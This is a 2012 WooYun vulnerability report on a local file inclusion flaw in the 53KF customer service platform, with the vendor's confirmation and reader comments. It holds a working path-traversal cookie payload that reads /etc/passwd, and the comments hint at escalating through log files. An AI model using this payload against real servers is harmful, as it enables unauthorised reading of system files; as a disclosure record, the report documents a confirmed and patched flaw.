漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2012-013323
漏洞标题：53KF企业在线平台LFI一枚
相关厂商：53KF企业在线平台
漏洞作者： magerx
提交时间：2012-10-14 00:56
修复时间：2012-11-28 00:57
公开时间：2012-11-28 00:57
漏洞类型：文件包含
危害等级：中
自评Rank：8
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2012-10-14： 细节已通知厂商并且等待厂商处理中
2012-10-14： 厂商已经确认，细节仅向厂商公开
2012-10-24： 细节向核心白帽子及相关领域专家公开
2012-11-03： 细节向普通白帽子公开
2012-11-13： 细节向实习白帽子公开
2012-11-28： 细节向公众公开
简要描述：
http://chat.53kf.com/ LFI一枚 配合 http://chat.53kf.com/test.php 的phpinfo信息...导致xxoo..
详细说明：
http://chat.53kf.com/login.php/
修改请求
Cookie: customer_service_language=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00
结果：
加上phpinfo提供的信息：
未经授权....不进一步了。。
漏洞证明：
修复方案：
版权声明：转载请注明来源 magerx@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：8
确认时间：2012-10-14 10:58
厂商回复：
感谢对于漏洞的提交，我们会紧急安排修复。谢谢！
最新状态：
暂无
漏洞评价：
评论
-
作者很厉害
-
@xsjswt access_log error_log ，，，....fd/n
-
@magerx 洞主，你肿么想到去修改这个参数？
-
@xsjswt 只要有权限读取。。。
-
@xsjswt 你是53的人啊？
( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)